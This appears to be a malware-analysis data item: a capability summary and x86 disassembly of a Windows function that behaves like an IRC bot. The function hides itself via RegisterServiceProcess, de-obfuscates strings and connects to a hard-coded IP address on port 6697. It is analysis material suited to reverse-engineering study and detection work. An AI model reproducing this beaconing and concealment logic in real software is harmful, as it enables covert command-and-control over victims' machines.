Function at 0x402d70
Capabilities:
Act as tcp client
Check mutex and terminate process on windows
Check mutex on windows
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get session user name
Initialize winsock library
Resolve dns
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x2a8
mov eax, dword [0x41f004]
xor eax, esp
mov dword [esp + 0x2a4], eax
push esi
push edi
push 0x93
push 0xfe
push 0x73
push 0x8e
lea eax, [esp + 0x1e0]
xor esi, esi
xorps xmm0, xmm0
mov dword [esp + 0x18], esi
push str._d._d._d._d
push eax
movaps xmmword [esp + 0x1e8], xmm0
mov dword [esp + 0x1f8], esi
call fcn.00401070
movq xmm0, qword [str.005kdfn]
lea ecx, [esp + 0x208]
mov al, byte [0x41dad8]
add esp, 0x18
movq qword [esp + 0x1b8], xmm0
movq xmm0, qword [str.008Su1y_w3_]
movq qword [esp + 0x1c4], xmm0
movups xmm0, xmmword [str.006zrrkrrZZ8lmJ]
mov byte [esp + 0x1c0], al
mov eax, dword [0x41dae4]
mov dword [esp + 0x1cc], eax
movups xmmword [esp + 0x1f0], xmm0
call section..text
push eax
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4030b4
call fcn.004012d0
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.RegisterServiceProcess
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402e5f
push 1
push esi
call eax
mov edi, dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [esp + 0x28]
push eax
push 0x101
call edi
test eax, eax
je 0x402e86
lea eax, [esp + 0x28]
push eax
push 1
call edi
test eax, eax
jne 0x4030b4
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x402fbe
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov dword [esp + 8], esi
cmp esi, 0xffffffff
jne 0x402eb6
or esi, eax
mov dword [esp + 8], esi
jmp 0x402f42
xorps xmm0, xmm0
mov eax, 2
movaps xmmword [esp + 0x10], xmm0
push 0x1a29
mov word [esp + 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x1d0]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x402f0f
lea eax, [esp + 0x1d0]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x402f08
mov esi, 0xfffffffe
mov dword [esp + 8], esi
jmp 0x402f42
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402f36
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or esi, 0xffffffff
mov dword [esp + 8], esi
jmp 0x402f42
cmp esi, 1
jae 0x402f42
push 0x7530
call edi
push 0x40
lea eax, [esp + 0x204]
mov dword [esp + 0x10], 0x40
push 0
push eax
call fcn.00404260
add esp, 0xc
mov dword [esp + 0x240], 0
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x204]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00406be7
add esp, 4
call fcn.00406bc6
cdq
mov ecx, 0x3e7
idiv ecx
lea eax, [esp + 0x200]
push edx
push eax
lea eax, [esp + 0x248]
push str._s_i
push eax
call fcn.00401070
add esp, 0x10
test esi, esi
je 0x402e94
movsx eax, byte [esp + 0x1c4]
mov edi, 3
lea ecx, [eax + eax*4]
movsx eax, byte [esp + 0x1c5]
lea eax, [eax + ecx*2]
lea ecx, [eax + eax*4]
movsx eax, byte [esp + 0x1c6]
lea eax, [eax + ecx*2]
add eax, 0xffffeb33
cmp eax, edi
jle 0x403018
mov esi, eax
movsx eax, byte [esp + edi + 0x1c4]
push eax
call fcn.004058ff
add esp, 4
test eax, eax
je 0x40300f
add byte [esp + edi + 0x1c4], 0xfd
inc edi
cmp edi, esi
jl 0x402ff2
mov esi, dword [esp + 8]
movsx eax, byte [esp + 0x1b8]
mov byte [esp + edi + 0x1c4], 0
mov edi, 3
lea ecx, [eax + eax*4]
movsx eax, byte [esp + 0x1b9]
lea eax, [eax + ecx*2]
lea ecx, [eax + eax*4]
movsx eax, byte [esp + 0x1ba]
lea eax, [eax + ecx*2]
add eax, 0xffffeb33
cmp eax, edi
jle 0x403086
mov esi, eax
nop dword [eax]
nop dword [eax + eax]
movsx eax, byte [esp + edi + 0x1b8]
push eax
call fcn.004058ff
add esp, 4
test eax, eax
je 0x40307d
add byte [esp + edi + 0x1b8], 0xfd
inc edi
cmp edi, esi
jl 0x403060
mov esi, dword [esp + 8]
lea eax, [esp + 0x240]
mov byte [esp + edi + 0x1b8], 0
push eax
lea eax, [esp + 0x1cb]
mov ecx, esi
push eax
lea edx, [esp + 0x1c3]
call fcn.004015d0
add esp, 8
jmp 0x402e86
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]